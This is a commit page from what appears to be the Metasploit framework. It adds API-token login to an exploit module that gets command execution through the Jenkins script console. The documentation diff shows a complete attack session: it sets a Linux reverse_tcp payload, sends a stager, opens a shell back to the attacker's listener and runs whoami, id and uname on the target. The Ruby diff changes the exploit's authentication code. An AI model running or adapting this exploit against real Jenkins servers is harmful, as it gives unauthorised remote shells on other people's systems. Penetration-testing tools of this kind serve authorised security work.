Skip to content

Commit 3cd28b2

Browse files
committed
Land rapid7#8569, Add ability to specify API token instead of password
2 parents 700dfee + 58cd432 commit 3cd28b2

File tree

2 files changed

+83
-23
lines changed

2 files changed

+83
-23
lines changed

documentation/modules/exploit/multi/http/jenkins_script_console.md

Lines changed: 46 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,13 @@
3636

3737
A password to an account that has access to the script console. This is only
3838
necessary if the Jenkins instance has been configured to require
39-
authentication.
39+
authentication and you aren't using an API_TOKEN (see below).
40+
41+
**API_TOKEN**
42+
43+
An API token to an account that has access to the script console. This is only
44+
necessary if the Jenkins instance has been configured to require
45+
authentication and you aren't using a PASSWORD (see above).
4046

4147
## Scenarios
4248

@@ -128,3 +134,42 @@
128134
meterpreter >
129135
130136
```
137+
138+
Example usage against a Linux x64 bit target running Jenkins 2.46.3.
139+
140+
```
141+
msf > use exploit/multi/http/jenkins_script_console
142+
msf exploit(jenkins_script_console) > set RHOST 172.17.0.1
143+
RHOST => 172.17.0.1
144+
msf exploit(jenkins_script_console) > set RPORT 8080
145+
RPORT => 8080
146+
msf exploit(jenkins_script_console) > set TARGETURI /
147+
TARGETURI => /
148+
msf exploit(jenkins_script_console) > set USERNAME admin
149+
USERNAME => admin
150+
msf exploit(jenkins_script_console) > set API_TOKEN 24e0b80d009ed12590ff85866d88c00d
151+
API_TOKEN => 24e0b80d009ed12590ff85866d88c00d
152+
msf exploit(jenkins_script_console) > set TARGET 1
153+
TARGET => 1
154+
msf exploit(jenkins_script_console) > set PAYLOAD linux/x86/shell/reverse_tcp
155+
PAYLOAD => linux/x86/shell/reverse_tcp
156+
msf exploit(jenkins_script_console) > set LHOST 10.0.2.4
157+
LHOST => 10.0.2.4
158+
msf exploit(jenkins_script_console) > exploit
159+
160+
[*] Started reverse TCP handler on 10.0.2.4:4444
161+
[*] Checking access to the script console
162+
[*] Authenticating with token...
163+
[*] Using CSRF token: 'd41639a6f5721760a8ee3df5d6a71eec' (Jenkins-Crumb style)
164+
[*] 172.17.0.1:8080 - Sending Linux stager...
165+
[*] Sending stage (36 bytes) to 172.17.0.2
166+
[*] Command shell session 1 opened (10.0.2.4:4444 -> 172.17.0.2:53962) at 2017-06-19 16:55:42 -0500
167+
[!] Deleting /tmp/AsqL5Pg payload file
168+
169+
whoami
170+
jenkins
171+
id
172+
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
173+
uname -a
174+
Linux b4b4e715101e 4.4.0-79-generic #100-Ubuntu SMP Wed May 17 19:58:14 UTC 2017 x86_64 GNU/Linux
175+
```

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 37 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,8 @@ def initialize(info = {})
1919
'Author' =>
2020
[
2121
'Spencer McIntyre',
22-
'jamcut'
22+
'jamcut',
23+
'thesubtlety'
2324
],
2425
'License' => MSF_LICENSE,
2526
'DefaultOptions' =>
@@ -50,6 +51,7 @@ def initialize(info = {})
5051
[
5152
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
5253
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
54+
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
5355
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
5456
])
5557
end
@@ -77,6 +79,7 @@ def http_send_command(cmd, opts = {})
7779
request_parameters = {
7880
'method' => 'POST',
7981
'uri' => normalize_uri(@uri.path, 'script'),
82+
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
8083
'vars_post' =>
8184
{
8285
'script' => java_craft_runtime_exec(cmd),
@@ -151,34 +154,46 @@ def exploit
151154
@cookie = nil
152155
@crumb = nil
153156
if res.code != 200
154-
print_status('Logging in...')
155-
res = send_request_cgi({
156-
'method' => 'POST',
157-
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
158-
'vars_post' =>
159-
{
160-
'j_username' => datastore['USERNAME'],
161-
'j_password' => datastore['PASSWORD'],
162-
'Submit' => 'log in'
163-
}
164-
})
165-
166-
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
167-
fail_with(Failure::NoAccess, 'Login failed')
168-
end
169-
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
170-
@cookie = "#{sessionid}"
171-
172-
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
173-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
157+
if datastore['API_TOKEN']
158+
print_status('Authenticating with token...')
159+
res = send_request_cgi({
160+
'method' => 'GET',
161+
'uri' => normalize_uri(@uri.path, "crumbIssuer/api/json"),
162+
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
163+
})
164+
if (res and res.code == 401)
165+
fail_with(Failure::NoAccess, 'Login failed')
166+
end
167+
else
168+
print_status('Logging in...')
169+
res = send_request_cgi({
170+
'method' => 'POST',
171+
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
172+
'vars_post' =>
173+
{
174+
'j_username' => datastore['USERNAME'],
175+
'j_password' => datastore['PASSWORD'],
176+
'Submit' => 'log in'
177+
}
178+
})
179+
180+
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
181+
fail_with(Failure::NoAccess, 'Login failed')
182+
end
183+
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
184+
@cookie = "#{sessionid}"
185+
186+
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
187+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
188+
end
174189
else
175190
print_status('No authentication required, skipping login...')
176191
end
177192

178193
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
179194
print_status("Using CSRF token: '#{$1}' (.crumb style)")
180195
@crumb = {:name => '.crumb', :value => $1}
181-
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
196+
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
182197
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
183198
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
184199
end

0 commit comments

Comments
 (0)